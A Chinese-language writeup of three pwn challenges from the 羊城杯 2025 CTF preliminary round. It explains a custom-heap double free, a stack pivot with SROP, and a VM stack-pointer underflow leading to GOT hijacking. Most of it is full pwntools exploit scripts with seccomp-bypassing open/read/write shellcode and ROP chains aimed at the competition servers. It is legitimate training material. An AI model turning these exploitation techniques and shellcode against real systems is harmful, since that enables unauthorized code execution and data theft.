羊城杯 2025 初赛 Pwn Writeup
malloc
自定义堆内存管理器。
堆块结构:
| Offset | Field | Description |
|---------|----------------|------------------------------------|
| +0 | in_use (1B) | 1 = allocated, 0 = free |
| +1..7 | padding | for 8-byte alignment |
| +8 | size (4B) | total size of the chunk |
| +12..15 | padding | (align next pointer) |
| +16 | next (8B) | pointer to next free chunk |
| +16 | user data start| returned to caller (malloc result) |
delete 时存在 UAF,且 double free 检测深度只有 13,而我们最多可以申请 16 个堆块。double free 后再多次 create 得到重叠堆块,修改 next 指针得到任意地址(目标地址 - 16)分配,从而任意地址读写。
泄露 libc、stack 基地址后任意分配到栈上写 ROP,返回至提前布置好的 shellcode。程序沙箱禁用 execve 等系统调用,考虑 orw。
Exp:
#!/usr/bin/python
from pwn import *
from ctypes import *
itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')
context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='info')
binary = './pwn'
# io = process(binary)
io = connect('45.40.247.139', 18565)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)
# 0x0f < size <= 0x70
def create(index: int, size: int):
io.sendlineafter(b'=======================\n', b'1')
io.sendlineafter(b'Index\n', itob(index))
io.sendlineafter(b'size\n', itob(size))
def delete(index: int):
io.sendlineafter(b'=======================\n', b'2')
io.sendlineafter(b'Index\n', itob(index))
def edit(index: int, size: int, content: bytes):
io.sendlineafter(b'=======================\n', b'3')
io.sendlineafter(b'Index\n', itob(index))
io.sendlineafter(b'size\n', itob(size))
io.send(content)
def show(index: int):
io.sendlineafter(b'=======================\n', b'4')
io.sendlineafter(b'Index\n', itob(index))
def exitit():
io.sendlineafter(b'=======================\n', b'5')
for i in range(15):
create(i, 0x10)
for i in range(15):
delete(i)
delete(0) # double free
show(14) # leak heap (elf)
e.address = u64(io.recvline(False).ljust(8, b'\x00')) - 0x53a0
print_leaked('elf_base', e.address)
create(0, 0x10)
edit(0, 8, p64(e.sym['stdout'] - 16)) # `next` -> stdout
for _ in range(16):
create(1, 0x10)
show(1)
libc.address = u64(io.recvline(False).ljust(8, b'\x00')) - 0x21b780
print_leaked('libc_base', libc.address)
for i in range(15):
create(i, 0x20)
for i in range(15):
delete(i)
delete(0) # double free
create(0, 0x20)
edit(0, 8, p64(libc.sym['environ'] - 16)) # `next` -> environ
for _ in range(16):
create(1, 0x20)
show(1)
stack_addr = u64(io.recvline(False).ljust(8, b'\x00'))
print_leaked('stack_addr', stack_addr)
for i in range(15):
create(i, 0x70)
for i in range(15):
delete(i)
delete(0) # double free
create(0, 0x70)
edit(0, 8, p64(stack_addr - 0x140 - 16)) # `next` -> stack retaddr
for _ in range(16):
create(1, 0x70)
# gdb.attach(io, 'b *$rebase(0x18F2)')
edit(0, 0x70, asm(f"""
mov rax, 0x67616c662f
push rax
mov rax, __NR_open
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
mov rax, __NR_read
mov rdi, 3
mov rsi, rsp
mov rdx, 0x50
syscall
mov rax, __NR_write
mov rdi, 1
mov rsi, rsp
mov rdx, 0x50
syscall
"""))
edit(1, 0x70, flat([
libc.search(asm('pop rdi;ret')).__next__(),
e.address + 0x5000,
libc.search(asm('pop rsi;ret')).__next__(),
0x1000,
libc.search(asm('pop rdx;pop r12;ret')).__next__(),
7,
0,
libc.sym['mprotect'],
e.address + 0x56c0
]))
io.interactive()
stack
看起来是堆溢出但其实会栈迁移到堆上,溢出改返回地址爆破 PIE 到 magic。
由于随机数种子来自已知时间,所以可以预测随机数,逆运算得到 PIE 基地址。
最后栈迁移到 bss 段,利用 SROP 和 syscall gadget 实现任意系统调用。程序 seccomp 沙箱禁用了 open
、execve
等系统调用,考虑 openat
替代。
Exp:
#!/usr/bin/python
from pwn import *
from ctypes import *
itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')
context(arch='amd64', os='linux', terminal=['konsole', '-e'])
binary = './Stack_Over_Flow'
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)
while True:
global io, elf_base
io = connect('45.40.247.139', 30871)
libc_lib = CDLL('/usr/lib/libc.so.6')
libc_lib.srand(libc_lib.time(0))
libc_lib.rand() % 5
libc_lib.rand() % 5
key = libc_lib.rand() % 5
try:
io.sendafter(b'luck!\n', cyclic(0x2000)[:cyclic(0x2000).index(b'qaacraac')] + b'\x5F\x13')
if b'magic' not in io.recvuntil(b':'):
io.close()
continue
e.address = (int(io.recvline(False)) // key) - 0x16b0
break
except Exception:
io.close()
continue
context.log_level = 'debug'
print_leaked('elf_base', e.address)
syscall = e.address + 0x000000000000134f
fake_stack = e.bss(0x800)
# stack mig
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = fake_stack
frame.rdx = 0x800
frame.rip = syscall
frame.rsp = fake_stack
# gdb.attach(io, 'b *$rebase(0x16A4)')
io.sendafter(b'luck!\n', flat([
cyclic(0x100),
0,
syscall,
0,
syscall,
bytes(frame)
]))
pause()
io.send(cyclic(0xf))
# mprotect
frame = SigreturnFrame()
frame.rax = 10
frame.rdi = fake_stack & ~0xfff
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = syscall
frame.rsp = fake_stack + 0x200
xor_rax_pop_rbp = e.address + 0x00000000000016a0
payload = flat([
0,
xor_rax_pop_rbp,
0,
syscall,
0,
syscall,
bytes(frame)
])
payload = payload.ljust(0x200, b'\x00')
payload += flat([
0,
fake_stack + 0x300
])
payload = payload.ljust(0x300, b'\x00')
payload += asm("""
push 0x50
lea rax, [rsp - 0x60]
push rax
mov rax, 0x67616c662f
push rax
push __NR_openat ; pop rax
xor rdi, rdi
push rsp ; pop rsi
xor rdx, rdx
xor r10, r10
syscall
push rax
push __NR_readv ; pop rax
pop rdi
popf
push rsp ; pop rsi
push 1 ; pop rdx
syscall
push __NR_writev ; pop rax
push 1 ; pop rdi
syscall
""")
pause()
io.send(payload)
pause()
io.send(cyclic(0xf))
io.interactive()
mvmps
SUB SP 时栈指针下溢,PUSH 和 POP 操作变成 ELF 几乎任意地址读写。
不是 PIE,劫持 GOT 即可。读取 read@got
低 4 字节,减去偏移得到 system
地址,将其写回 read@got
低 4 字节,内存中写入 "sh"
,执行 read 并传入首个参数为 "sh"
地址。指令有四种格式。具体见下方 exp 注释。
Exp:
#!/usr/bin/python
from pwn import *
from ctypes import *
itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')
context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './vvmm'
# io = process(binary)
io = connect('45.40.247.139', 15101)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)
# gdb.attach(io, 'b *0x401CBF\nb *0x4015AA\nb *0x401CC6\nb *0x402742\nb *0x4025E7\nb *0x4014AF\nb *0x4015CE')
def INST(opcode: int, type: int, *args) -> bytes:
header = p8(opcode << 2 | type)
if type == 0:
return header + p8((args[0] & 0xff0000) >> 16) + p8((args[0] & 0xff00) >> 8) + p8(args[0] & 0xff)
if type == 1:
return header + p8(args[0])
if type == 2:
return header + p8(args[0]) + p8(args[1])
if type == 3:
return header + p8(args[0]) + p32(args[1])
raise ValueError("Invalid type.")
io.sendafter(b'Please input your opcodes:\n', b''.join([
INST(0x24, 0, 0x418), # SUB SP (to read@got)
INST(0x20, 1, 0), # read from elf (read@got)
INST(0xb, 3, 0, 0xc3a60), # REG SUB (offset of read & system)
INST(0x1f, 1, 0), # write to elf (system)
INST(0x3, 3, 1, 0x6873), # LOAD IMM ("sh")
INST(0x25, 0, 0x30), # ADD SP (arbitrary mem)
INST(0x1f, 1, 1), # write to elf ("sh")
INST(0x3, 3, 0, 0x4050fc), # LOAD IMM (arbitrary mem)
INST(0x33, 0, 0), # SYSCALL (read@plt -> system with arg "sh")
]))
io.interactive()